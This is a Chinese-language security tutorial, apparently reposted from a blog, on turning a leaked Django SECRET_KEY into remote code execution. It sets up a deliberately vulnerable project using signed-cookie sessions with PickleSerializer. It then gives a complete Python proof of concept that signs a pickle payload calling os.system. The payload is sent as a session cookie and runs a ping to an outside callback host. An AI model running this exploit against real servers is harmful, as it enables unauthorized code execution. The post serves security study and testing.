您的位置:首页 > 编程语言 > Go语言

Django的Secret Key泄漏导致的命令执行实践

2018-02-19 10:45 267 查看
http://www.polaris-lab.com/index.php/archives/426/

0x01 Secret Key的用途和泄漏导致的攻击面

Secret Key主要用于加密、签名,下面是官方文档的说明:
The secret key is used for:
All sessions if you are using any other session backend than
django.contrib.sessions.backends.cache
, or are using the
defaultget_session_auth_hash()
.
All messages if you are using
CookieStorage
or
FallbackStorage
.
All
PasswordResetView
tokens.
Any usage of cryptographic signing, unless a different key is provided.
Secret Key泄漏可能的攻击面:
远程代码执行,如果使用了
cookie-based sessions
。当然其他可以操作
session_data
的问题都可能导致
任意密码重置,
contrib.auth.token
.
CSRF
...
我们主要关注远程代码执行这个点。

0x02 Django Session的几种方式

数据库(database-backed sessions)
如下图,session的key和data都是存储在sqlite数据库中的,这是默认的设置,当用户带着cookie来请求服务端时,cookie中包含的是
session_key
,服务端会根据这个
session_key
来查询数据库,从而获取到
session_data
。就是说
session_data
是存在服务端的。



缓存(cached sessions)
文件系统(file-based sessions)
Cookie(cookie-based sessions)
当Django使用了这种方式的时候,和其它几种方式不同的是,它将
session_data
也是存在于cookie中的,即存在于客户端的。但它是经过签名的,签名依赖于django 的Secret Key,所以如果我们知道了Secret Key将可能修改
session_data
。这也是我们将要讨论的重点。

0x03 环境准备

关于通过操作session来实现命令执行有一个很好的案例。在学习Pickle反序列化的时候就看过,其中的关键是Django在取得
session_data
之后,需要进行反序列化操作才能获取其中的数据。所以,如果能有机会操作
session_data
,就有可能导致代码执行。
而我们这里关注的是Secret Key泄漏的情况,它有2个关键点:
使用了
cookie-based sessions

使用了
serializers.PickleSerializer

注:Django1.5级以下,session默认是采用pickle执行序列号操作
django.contrib.sessions.serializers.PickleSerializer
;在1.6 及以上版本默认采用json序列化。
django.contrib.sessions.serializers.JSONSerializer

Djgano测试环境部署:
#命令行下运行如下命令来创建项目
django-admin startproject testproject

#在项目中创建应用
cd testproject
python manage.py startapp testapp

#在setting.py中新增SESSION_ENGINE和SESSION_SERIALIZER配置。这是漏洞存在的必要条件!
SESSIO
c048
N_ENGINE = 'django.contrib.sessions.backends.signed_cookies'
#SESSION_SERIALIZER = 'django.contrib.sessions.serializers.JSONSerializer'
SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'
#因为我的环境中使用的Django1.11,默认使用的是JSONSerializer,所以需要配置这一条。
urls.py的内容如下:
from django.conf.urls import url
from django.contrib import admin
from testapp import views

urlpatterns = [
url(r'.*$', views.index),
url(r'^admin/', admin.site.urls),
]
views.py中的内容如下:
# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.shortcuts import render
from django.http import HttpResponse

# Create your views here.
def index(request):
x= request.session
print x.values
print dir(x)
print x.serializer
print x['userid'] #这一句是关键,需要有尝试从session中取数据的行为,django才会去执行反序列
return HttpResponse(x)
注意:必须要有尝试从session中取数据的行为,Django才会去执行反序列,否则将不能触发!所以实际的环境中,最好选择用户信息相关接口等一定会取数据的接口进行测试。
以上就完成了环境的准备,运行
python manage.py runserver
启动服务。

0x04 PoC及验证

关于Pickle PoC的生成方法,可以参考我之前的文章Python Pickle的任意代码执行漏洞实践和Payload构造
poc.py的内容如下:
# !/usr/bin/env python
# -*- coding:utf-8 -*-
__author__ = 'bit4'
__github__ = 'https://github.com/bit4woo'

import os
import requests
from django.contrib.sessions.serializers import PickleSerializer
from django.core import signing
import pickle

def session_gen(SECRET_KEY,command = 'ping -n 3 test.0y0.link || ping -c test.0y0.link',):
class Run(object):
def __reduce__(self):
#return (os.system,('ping test.0y0.link',))
return (os.system,(command,))

#SECRET_KEY = '1bb8)i&dl9c5=npkp248gl&aji7^x6izh3!itsmb6&yl!fak&f'
SECRET_KEY = SECRET_KEY

sess = signing.dumps(Run(), key = SECRET_KEY,serializer=PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies')
#生成的恶意session
print sess

'''
salt='django.contrib.sessions.backends.signed_cookies'
sess = pickle.dumps(Run())
sess = signing.b64_encode(sess)#通过跟踪signing.dumps函数可以知道pickle.dumps后的数据还经过了如下处理。
sess = signing.TimestampSigner(key=SECRET_KEY, salt=salt).sign(sess)
print sess
#这里生成的session也是可以成功利用的,这样写只是为了理解signing.dumps。
'''

session = 'sessionid={0}'.format(sess)
return session

def exp(url,SECRET_KEY,command):

headers = {'Cookie':session_gen(SECRET_KEY,command)}
proxy = {"http":"http://127.0.0.1:8080"}#设置为burp的代理方便观察请求包
response = requests.get(url,headers= headers,proxies = proxy)
#print response.content

if __name__ == '__main__':
url = 'http://127.0.0.1:8000/'
SECRET_KEY = '1bb8)i&dl9c5=npkp248gl&aji7^x6izh3!itsmb6&yl!fak&f'
command = 'ping -n 3 test.0y0.link || ping -c test.0y0.link'
exp(url,SECRET_KEY,command)
运行poc.py时,后台的输出结果:



print x['userid']
对应了2个动作,一是反序列化,也就是执行系统命令的关键;二是取值,这里是取值失败打印了错误信息,但是这已经不重要了,因为我们已经实现了我们的目的。
PoC脚本最好使用原生的库或者方法来进行其中的payload生成操作。比如上面的poc.py中,可以使用
signing.dumps
,也可单独使用
pickle.dumps
然后加上其他操作,但是最好使用第一种,这样可以很好地保证Payload的正确性。而且实际的环境中,如果能获取到目标的具体版本,最好通过配置相应版本的环境来完成PoC的生成。
本文环境和代码的下载地址:
https://github.com/bit4woo/code2sec.com/tree/master/code/testproject
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: